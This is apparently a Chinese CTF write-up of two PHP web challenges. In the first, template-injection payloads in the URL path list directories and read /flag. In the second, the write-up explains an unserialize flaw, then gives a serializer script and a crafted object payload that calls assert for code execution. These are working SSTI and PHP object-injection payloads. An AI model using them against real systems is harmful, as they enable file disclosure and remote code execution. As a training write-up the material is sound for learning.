思路:但凡得到网页,抓取其中所有的js,a链接进行分析。
[CISCN2019 华东南赛区]Web11
原始信息
得到一个网站,看起来是提供前端的api接口的。
尝试访问提供的网址,都仅仅是得到了一个IP地址。
扫站是扫不出东西的,全部返还200状态码,无法甄别是否存在某文件。至于原因,就是你访问的任何东西都会变成一个特殊形式的页面返回值,大概如下:
而这种特殊的返回情况,给了我们测试的窗口。
解题
根据上面的情况进行测试:
GET /{{1+1+4}} HTTP/1.1
得到模板漏洞这个结论后,大胆的试着测试下php相关函数:
GET /{{var_dump(scandir('/'))}} HTTP/1.1
既然能读目录,那直接读取文件内容?
GET /{{file_get_contents('/flag')}} HTTP/1.1
这样就能读取到flag了。
这道题的限制很少,做起来很简单,只需要一点点的php基础而已。
[NPUCTF2020]ReadlezPHP
原始信息
题目信息大概是这样子的:
尝试寻找有用的信息(其实这里抓包也是可以看到这个链接的,相比之下更加快捷)
访问这个网址,得到源代码
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]); `
解题
源码分析:
<?php
#error_reporting(0);
# 定义类
class HelloPhp
{
public $a;
public $b;
# 初始化方法,初始化类内部变量
# 即:创建即调用
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
# 销毁变量时将变量作为函数进行调用
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
# 定义新类
$c = new HelloPhp;
# 一旦存在source变量就截断这个程序
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
# 反序列化传入的data
@$ppp = unserialize($_GET["data"]);
理论上来讲,只要前面构造函数名,后面构造被查询的字符串就能得到对应的结果,类似于下面这样:
include('flag.php')
但是,这个题目有一个隐形的坑,就是所有的函数禁用都写在php的配置文件当中,做题的人根本无法看到,只能自己一点点手测。
简单写个反序列化的脚本:
<?php
class HelloPhp
{
public $a='phpinfo()';
public $b='assert';
}
$c = new HelloPhp;
echo(serialize($c));
# assert是system的替代品
把反序列化的脚本得到的结果放上去就能得到flag
get:http://xxx.xxx.xxx/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
return:(省略若干页面搜索)flag{de0a588b-c255-4b66-a7d1-5278825f706c}
继续做题,继续加油!